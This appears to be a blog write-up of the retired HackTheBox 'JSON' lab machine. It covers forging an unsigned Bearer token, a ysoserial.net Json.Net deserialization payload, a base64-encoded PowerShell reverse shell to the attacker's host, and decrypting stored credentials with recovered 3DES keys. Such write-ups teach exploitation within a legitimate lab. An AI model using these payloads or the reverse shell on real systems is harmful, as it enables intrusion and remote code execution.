Posts HackTheBox JSON Writeup
Post
Cancel

HackTheBox JSON Writeup

Machine Info

This is a retired machine on HackTheBox.

Machine IP: 10.10.10.158 My machine IP: 10.10.14.19


Enumeration

Using nmap, it is possible to determine that the machine is running Windows Server 2012 and has port 21 and 80 open.

Unsafe deserialization of client-controlled data

When we go to http://10.10.10.158:80/, we see a Login page after briefly seeing the dashboard, a sign of unsafe redirection. I spent a bit of time searching for things here, but got no result. We can login with the credential admin/admin.

After that, the application make a request to /api/Account with the Bearer token to authenticate:

Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

Which translate to JSON, which is the same data that the server spitted back:

1
2
3
4
5
6
7
{
    "Id":1,
    "UserName":"admin",
    "Password":"21232f297a57a5a743894a0e4a801fc3",
    "Name":"User Admin HTB",
    "Rol":"Administrator"
}

The token does not have any method of protecting integrity like JWT tokens have. Which means we can modify it and still have the server accept it:

Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJob2FuZyIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

The server returned:

1
2
3
4
5
6
7
{
    "Id":1,
    "UserName":"hoang",
    "Password":"21232f297a57a5a743894a0e4a801fc3",
    "Name":"User Admin HTB",
    "Rol":"Administrator"
}

At first I thought this is going to be a SQL Injection vulnerability, but it was not, after a few hours of bashing my head againts the keyboard, I tried sending data without the double quotes:

1
2
3
4
5
6
7
{
    "Id":1',
    "UserName":"hoang'",
    "Password":"21232f297a57a5a743894a0e4a801fc3'",
    "Name":"User Admin HTB'",
    "Rol":"Administrator'"
}

Which is in the wrong format, and appropriately, an error message pops up:

1
2
3
4
5
6
{
    "Message":"An error has occurred.",
    "ExceptionMessage":"Cannot deserialize Json.Net Object",
    "ExceptionType":"System.Exception",
    "StackTrace":null
}

From this error message, we can infer that the server is using the Json.Net library to deserialize a JSON string to a .NET object.

For deserialization vulnerabilities, the most famous tool is arguably ysoserial, and ysoserial.net for .NET applications.

But first, a quick confirmation:

1
2
3
4
5
6
7
8
9
10
11
$ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping 10.10.14.19" --minify

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c ping 10.10.14.19']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

We can then base64 encode this payload and put it in the Bearer token spot:

Bearer eyIkdHlwZSI6IlN5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLFByZXNlbnRhdGlvbkZyYW1ld29yayxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUiLCJNZXRob2ROYW1lIjoiU3RhcnQiLCJNZXRob2RQYXJhbWV0ZXJzIjp7IiR0eXBlIjoiU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCxtc2NvcmxpYixWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiLCIkdmFsdWVzIjpbImNtZCIsIi9jIHBpbmcgMTAuMTAuMTQuMTkiXX0sIk9iamVjdEluc3RhbmNlIjp7IiR0eXBlIjoiU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsU3lzdGVtLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSJ9fQ==

Then, on our machine, run tcpdump on the VPN interface, filtering to see if the code actually runs (there would be ICMP messages back and forth):

1
$ tcpdump -i tun0 icmp

After we confirm the code actually runs. It’s time for reverse shells. From the enumeration and reconnaisance phase, we already know the machine is using Windows Server 2012. Which mean we can use powershell to execute a reverse shell. Here I used the following base64-encoded payload to spawn a reverse shell back to 10.10.14.19:4444:

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA5ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

We then use ysoserial to generate the actual JSON string, then base64 encode that again to send it with as the Bearer token.

I’m inside

Once inside, we can dump the code of the application. This is located at the default location: C:\inetpub\wwwroot\jsonapp. The code of .NET applications are stored in compiled-binaries in the bin/ folder. So transfer all the non-default DDLs and pdb files to your machine, then we can use dotPeek to decompile the binaries.

When reading the code and when just browsing around, we can see that the application uses the credentials from dbdata/userscredentials.json after decrypting it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
namespace DemoApp.Data
{
  public class UsuariosData
  {
    private string Folder = string.Empty;

    public UsuariosData(string serverfolder) => this.Folder = serverfolder;

    public Usuario Autenticar(string usuario, string password)
    {
      string str = Crypto.Decrypt(ConfigurationManager.AppSettings["IV"], File.ReadAllText(this.Folder + "\\dbdata\\userscredentials.json"), true);
      string hash = this.GetMd5Hash(password);
      IEnumerable<Usuario> source = ((IEnumerable<Usuario>) JsonConvert.DeserializeObject<List<Usuario>>(str)).Where<Usuario>((Func<Usuario, bool>) (u => u.UserName == usuario && u.Password == hash));
      return source.Any<Usuario>() ? source.FirstOrDefault<Usuario>() : (Usuario) null;
    }

    private string GetMd5Hash(string input)
    {
      StringBuilder stringBuilder = new StringBuilder();
      using (MD5 md5 = MD5.Create())
      {
        foreach (byte num in md5.ComputeHash(Encoding.UTF8.GetBytes(input)))
          stringBuilder.Append(num.ToString("x2"));
      }
      return stringBuilder.ToString();
    }
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
namespace DemoApp.Data
{
  public static class Crypto
  {
    public static string Decrypt(string key, string cipherString, bool useHashing)
    {
      byte[] inputBuffer = Convert.FromBase64String(cipherString);
      byte[] numArray;
      if (useHashing)
      {
        MD5CryptoServiceProvider cryptoServiceProvider = new MD5CryptoServiceProvider();
        numArray = cryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(key));
        cryptoServiceProvider.Clear();
      }
      else
        numArray = Encoding.UTF8.GetBytes(key);
      TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider();
      cryptoServiceProvider1.Key = numArray;
      cryptoServiceProvider1.Mode = CipherMode.ECB;
      cryptoServiceProvider1.Padding = PaddingMode.PKCS7;
      byte[] bytes = cryptoServiceProvider1.CreateDecryptor().TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
      cryptoServiceProvider1.Clear();
      return Encoding.UTF8.GetString(bytes);
    }
  }
}

There’s a file called userscredentials - Copy.json with the following content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[
    {
        "Id": 1,
        "UserName": "puppet",
        "Password": "0571749e2ac330a7455809c6b0e7af90", --> sunshine
        "Name": "User Admin HTB", 
        "Rol": "Administrator"
    },
    {
        "Id": 1,
        "UserName": "ansible",
        "Password": "84d961568a65073a3bcf0eb216b2a576", --> superman
        "Name": "User",
        "Rol": "User"
    }
]

Both of these credentials is unusable in both the web app and the FTP server, seems like we must decrypt the other json file. Luckily we know everything, the key, the algorithm and all it’s parameters:

  • Key: ConfigurationManager.AppSettings["IV"], which is in the web.config file.
  • Algorithm: TripleDESCryptoServiceProvider - 3DES
  • Mode: ECB
  • Padding algorithm: PKCS7

We have the code as well. So it’s easy to write a quick piece of code to decrypt the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
using System;
using System.Security.Cryptography;
using System.Text;

public static class Crypto
  {
    public static string Decrypt(string key, string cipherString, bool useHashing)
    {
      byte[] inputBuffer = Convert.FromBase64String(cipherString);
      byte[] numArray;
      if (useHashing)
      {
        MD5CryptoServiceProvider cryptoServiceProvider = new MD5CryptoServiceProvider();
        numArray = cryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(key));
        cryptoServiceProvider.Clear();
      }
      else
        numArray = Encoding.UTF8.GetBytes(key);
      TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider();
      cryptoServiceProvider1.Key = numArray;
      cryptoServiceProvider1.Mode = CipherMode.ECB;
      cryptoServiceProvider1.Padding = PaddingMode.PKCS7;
      byte[] bytes = cryptoServiceProvider1.CreateDecryptor().TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
      cryptoServiceProvider1.Clear();
      return Encoding.UTF8.GetString(bytes);
    }
	public static void Main()
	{
		Console.WriteLine(Decrypt("uLdDJr^B9bkbf0PdJGHA2UMHEGz",
        "/NIPCn7IDz/eBm3RkJRB/0fbUM8D69U/PBeyksExcqXNOPHCEt+9THcjFNTxAiTy/JtsBx2oy9nPJ05RFGLX2aAhIddIVgeM9CRNT2+ILr2uS3mwp+FSHYU2V1ulFwgDYv7kb+Wzaw/iwfq5Wf8zA15zBzmWgP2WjxvQTvIhor3eQBsQc851KkHjCVZrMi0FurubwZUTAxCWAQtc+WsguJTssEW69XRIUCqx63666jpnQji3wgRLzYCJ2nvdEJwgECWGWSWTkH6pQKgS+QiqjnPhXRbV3QnWY3oB4VhGNi+Joez+7M9fvWy8x36YOEKAiGohv+9OjYBvfPcCLyIX80f+99CD0l26D6duabrybvg27/2YhXQ3MuANTkoeZqXMIJZytHIbdbR4AyfTdNvUds5XGLZHjIxi3ZDXz5ffb+lIEh4jA1gMyJ5pbKilnv6b0vXFjAFjEKWxuaT42yddQw==",
        true));
	}
  }

Run the code with https://dotnetfiddle.net/ gave us a different JSON content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
  [
    {
      "Id": 1,
      "UserName": "admin",
      "Password": "21232f297a57a5a743894a0e4a801fc3",
      "Name": "User Admin HTB",
      "Rol": "Administrator"
    },
    {
      "Id": 1,
      "UserName": "ansible",
      "Password": "5f4dcc3b5aa765d61d8327deb882cf99",
      "Name": "User",
      "Rol": "User"
    }
  ]

These credentials work on the web app but not the FTP server. It’s time to look for a different avenue.

In the C:\ drive, there’s a folder tmp with log.txt inside. Reading the log suggests that there’s an cronjob-like process running, copying a non-important file to the local FTP server. Digging a bit deeper, we find the folder Sync2Ftp in Program Files. When we use dotPeek to decompile the application, we see it’s using credentials from an encrypted file with the same method of encryption as the web app. This is the config file for the application:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <appSettings>
    <add key="destinationFolder" value="ftp://localhost/"/>
    <add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
    <add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
    <add key="minute" value="30"/>
    <add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
    <add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
  </appSettings>
  <startup>
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
  </startup>
</configuration>

We can modify the code a bit to decrypt the username and password here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
using System;
using System.Security.Cryptography;
using System.Text;

public static class Crypto
  {
    public static string Decrypt(string key, string cipherString, bool useHashing)
    {
      byte[] inputBuffer = Convert.FromBase64String(cipherString);
      byte[] numArray;
      if (useHashing)
      {
        MD5CryptoServiceProvider cryptoServiceProvider = new MD5CryptoServiceProvider();
        numArray = cryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(key));
        cryptoServiceProvider.Clear();
      }
      else
        numArray = Encoding.UTF8.GetBytes(key);
      TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider();
      cryptoServiceProvider1.Key = numArray;
      cryptoServiceProvider1.Mode = CipherMode.ECB;
      cryptoServiceProvider1.Padding = PaddingMode.PKCS7;
      byte[] bytes = cryptoServiceProvider1.CreateDecryptor().TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
      cryptoServiceProvider1.Clear();
      return Encoding.UTF8.GetString(bytes);
    }
	public static void Main()
	{
		Console.WriteLine(Decrypt("_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%",
								  "4as8gqENn26uTs9srvQLyg==", //--> superadmin
								  true));
		Console.WriteLine(Decrypt("_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%",
								  "oQ5iORgUrswNRsJKH9VaCw==", //--> funnyhtb
								  true));
	}
  }

Using the credential, we can log into the FTP server and read the root.txt flag. I was not satisfied with that, so I kept looking for a way to escalate privileges, which I did. The first shell I had access to belongs to the user userpool, which has the SEImpersonatePrivilege privilege (run whoami /priv). Using this privilege, we can escalate to the SYSTEM account with the exploit known as Juicy Potato. I have done this exploit many times before, so I won’t get into this. I’m more interested in what I don’t know already.

Further reading

  1. Explaining .NET Deserialization exploits
  2. Basic .NET deserialization with ObjectDataProvider
  3. ysoserial.net on Github
This post is licensed under CC BY 4.0 by the author.